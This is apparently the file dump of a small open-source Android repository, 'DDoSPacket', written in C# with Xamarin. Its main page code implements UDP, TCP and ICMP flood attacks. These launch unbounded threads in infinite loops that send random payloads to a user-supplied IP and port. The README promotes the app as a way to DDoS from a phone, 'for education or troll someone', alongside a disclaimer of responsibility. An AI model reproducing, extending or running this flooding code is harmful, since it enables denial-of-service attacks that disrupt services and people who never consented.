/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xhdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xhdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xhdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xhdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxhdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxhdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxhdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxhdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxxhdpi/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxxhdpi/icon.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxxhdpi/launcher_foreground.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blueskychan-dev/DDoSPacket/d2c4be695227672ea3023cc6d7cf807c71a61007/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/mipmap-xxxhdpi/launcher_foreground.png
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/values/colors.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | #FFFFFF
4 | #3F51B5
5 | #303F9F
6 | #FF4081
7 |
8 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.Android/Resources/values/styles.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
6 |
7 |
26 |
27 |
30 |
31 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid/App.xaml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid/App.xaml.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Xamarin.Forms;
3 | using Xamarin.Forms.Xaml;
4 |
5 | [assembly: XamlCompilation(XamlCompilationOptions.Compile)]
6 | namespace DDoSPacket
7 | {
8 | public partial class App : Application
9 | {
10 | public App()
11 | {
12 | InitializeComponent();
13 |
14 | MainPage = new MainPage();
15 | }
16 |
17 | protected override void OnStart()
18 | {
19 | // Handle when your app starts
20 | }
21 |
22 | protected override void OnSleep()
23 | {
24 | // Handle when your app sleeps
25 | }
26 |
27 | protected override void OnResume()
28 | {
29 | // Handle when your app resumes
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | netstandard2.0
5 |
6 |
7 |
8 | pdbonly
9 | true
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid/MainPage.xaml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/DDoSPacketAndroid/DDoSPacketAndroid/DDoSPacketAndroid/MainPage.xaml.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using Xamarin.Forms;
7 | using System.Net;
8 | using System.Net.Sockets;
9 | using System.Threading;
10 | using System.Net.NetworkInformation;
11 |
12 | namespace DDoSPacket
13 | {
14 | public partial class MainPage : ContentPage
15 | {
16 | public int amountint = 0;
17 | public int amountfint = 0;
18 | public MainPage()
19 | {
20 | InitializeComponent();
21 | NP.Items.Add("UDP");
22 | NP.Items.Add("TCP");
23 | NP.Items.Add("ICMP");
24 | startup();
25 | }
26 | void startup()
27 | {
28 | Device.StartTimer(TimeSpan.FromMilliseconds(50), () =>
29 | {
30 | DisplayAlert("Welcome", "Warning: We are not responsible for any damage caused by this application please legally to use only! \nVersion: 1.0.0 Beta \nUpdate:\n -Change attack system.", "OK");
31 | return false;
32 | });
33 | }
34 | void update()
35 | {
36 | Device.StartTimer(TimeSpan.FromMilliseconds(50), () =>
37 | {
38 | int checkdone = amountint + amountfint;
39 | if (checkdone == int.Parse(thread.Text))
40 | {
41 | DisplayAlert("Attack Status", "Attack success\nAmount: " + amountint + "\nFailed: " + amountfint + "\nType: " + NP.SelectedItem, "OK");
42 | amountfint = 0;
43 | amountint = 0;
44 | }
45 | else
46 | {
47 | amount.Text = "Packet are send success: " + amountint;
48 | amountf.Text = "Packet are send unsuccess: " + amountfint;
49 | }
50 | return true;
51 | });
52 | }
53 |
54 | void start(object sender, EventArgs args)
55 | {
56 |
57 | if (ip.Text == null)
58 | {
59 | DisplayAlert("Failed to Attack", "IP Box is null!", "OK");
60 | return;
61 | }
62 | else if (port.Text == null)
63 | {
64 | DisplayAlert("Failed to Attack", "Port Box is null!", "OK");
65 | return;
66 | }
67 | if (thread.Text == null)
68 | {
69 | DisplayAlert("Failed to Attack", "Thread Box is null!", "OK");
70 | return;
71 | }
72 | if (NP.SelectedItem == null)
73 | {
74 | DisplayAlert("Failed to Attack", "Network Protocol is null!", "OK");
75 | return;
76 | }
77 | if (NP.SelectedItem == "UDP")
78 | {
79 | DisplayAlert("Attack Status", "Started Attacking.\nType: UDP", "OK");
80 | amountfint = 0;
81 | amountint = 0;
82 | update();
83 | new Thread(() =>
84 | {
85 | for (int i = 0; i < int.Parse(thread.Text); i++)
86 | {
87 | udpattack();
88 | }
89 | }).Start();
90 | }
91 | else if (NP.SelectedItem == "TCP")
92 | {
93 | amountfint = 0;
94 | amountint = 0;
95 | DisplayAlert("Attack Status", "Started Attacking.\nType: TCP", "OK");
96 | update();
97 | new Thread(() =>
98 | {
99 | for (int i = 0; i < int.Parse(thread.Text); i++)
100 | {
101 | tcpattack();
102 | }
103 | }).Start();
104 |
105 | }
106 | else if (NP.SelectedItem == "ICMP")
107 | {
108 | port.Text = "10";
109 | amountfint = 0;
110 | amountint = 0;
111 | DisplayAlert("Attack Status", "Started Attacking.\nType: ICMP", "OK");
112 | update();
113 | new Thread(() =>
114 | {
115 | for (int i = 0; i < int.Parse(thread.Text); i++)
116 | {
117 | icmpattack();
118 | }
119 | }).Start();
120 | }
121 | }
122 | void stop(object sender, EventArgs args)
123 | {
124 | System.Diagnostics.Process.GetCurrentProcess().Kill();
125 | }
126 |
127 | void INFO(object sender, EventArgs args)
128 | {
129 | DisplayAlert("Welcome", "Welcome to DDoS Packet for Android!\nVersion: 1.0.0 Beta\nDeveloper: fusedevgithub\nWarning: We are not responsible for any damage caused by this application please legally to use only!\nNotice: This version maybe have less methods and many bugs.\nPlease Report if you found!", "OK");
130 | }
131 | public static String generateStringSize(long sizeByte)
132 | {
133 |
134 | StringBuilder sb = new StringBuilder();
135 | Random rd = new Random();
136 |
137 | var numOfChars = sizeByte;
138 | string allows = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
139 | int maxIndex = allows.Length - 1;
140 | for (int i = 0; i < numOfChars; i++)
141 | {
142 | int index = rd.Next(maxIndex);
143 | char c = allows[index];
144 | sb.Append(c);
145 | }
146 | return sb.ToString();
147 | }
148 | public void udpattack()
149 | {
150 |
151 | Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram,
152 | ProtocolType.Udp);
153 |
154 | IPAddress serverAddr = IPAddress.Parse(ip.Text);
155 |
156 | IPEndPoint endPoint = new IPEndPoint(serverAddr, int.Parse(port.Text));
157 | string data = generateStringSize(1024 * int.Parse(size.Text));
158 | byte[] sus = Encoding.ASCII.GetBytes(data);
159 | sock.Connect(serverAddr, int.Parse(port.Text));
160 | for (; ; )
161 | {
162 | new Thread(() =>
163 | {
164 | try
165 | {
166 | sock.SendTo(sus, endPoint);
167 | amountint++;
168 | }
169 | catch
170 | {
171 | amountfint++;
172 | }
173 | }).Start();
174 | }
175 | }
176 | public void tcpattack()
177 | {
178 | Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
179 | IPAddress serverAddr = IPAddress.Parse(ip.Text);
180 |
181 | IPEndPoint endPoint = new IPEndPoint(serverAddr, int.Parse(port.Text));
182 | string data = generateStringSize(1024 * int.Parse(size.Text));
183 | byte[] sus = Encoding.ASCII.GetBytes(data);
184 | sock.Connect(serverAddr, int.Parse(port.Text));
185 | for (; ; )
186 | {
187 | new Thread(() =>
188 | {
189 | try
190 | {
191 | sock.SendTo(sus, endPoint);
192 | amountint++;
193 | }
194 | catch
195 | {
196 | amountfint++;
197 | }
198 | }).Start();
199 | }
200 | }
201 | public void icmpattack()
202 | {
203 | new Thread(() =>
204 | {
205 | Ping pingSender = new Ping();
206 | string data = generateStringSize(1024 * 1);
207 | byte[] sus = Encoding.ASCII.GetBytes(data);
208 | int timeout = 5000;
209 | PingOptions options = new PingOptions(64, true);
210 | for (; ; )
211 | {
212 | new Thread(() =>
213 | {
214 | try
215 | {
216 | PingReply reply = pingSender.Send(ip.Text, timeout, sus, options);
217 | amountint++;
218 | }
219 | catch
220 | {
221 | amountfint++;
222 | }
223 | }).Start();
224 | }
225 | }).Start();
226 | }
227 | }
228 | }
229 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Fusedev
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 📦 This project is archived and no longer maintained. Read more: [Why I moved on →](https://mindhas403.dev/post/timetomoveon)
2 | # Lastest Update from 27 November 2023
3 | Thanks for reporting issues in issues tab, Most issues i can resolved it, it look like my attack code/script is too old also i use Xamarin to based C# in Android and it is already End of Life...
4 |
5 | However, i going to make new remake version and upgrading to .NET MAUI!, Good Luck to see something happen!
6 |
7 | Fact: I make this app since i'm 12 years old and going register to middle school and i have only Samsung Galaxy J2, CPU and All Resource it sucks, it why i cannot to do more debug ;-;
8 | # DDoSPacket
9 | Use own Phone to DDoS Attack without Termux! (Android 5.1+)
10 | 
11 | # Warning
12 | * We are not responsible for any damage caused by this application please legally to use only!
13 | * This application created for education or troll someone only.
14 | # What is DDoS Packet for Android?
15 | DDoS Packet is Dev project you can use phone to ddos attack without Termux or other program!
16 | # Screenshot
17 | 
18 | # Minimum requirements
19 | * Android 5.1+
20 | * Internet Access
21 | # Q&A
22 | * Q: This app need root access?
23 | * A: No! you just need internet access.
24 | * Q: This app can replace attacking by termux?
25 | * A: No because python is better than C# for networking and many problem (but powerful and easy to use than)
26 | * Q: This app is alt of [Packet generator?](https://apkcombo.com/packets-generator/packetGenrator.edu.ae/)
27 | * A: Yes! up to you thinking. but this app is no limited about amount packets. (free, open source)
28 | # Methods
29 | * UDP
30 | * TCP
31 | * ICMP
32 | # Any issues?
33 | [Click here!](https://github.com/fusedevgithub/DDoSPacket/issues)
34 |
--------------------------------------------------------------------------------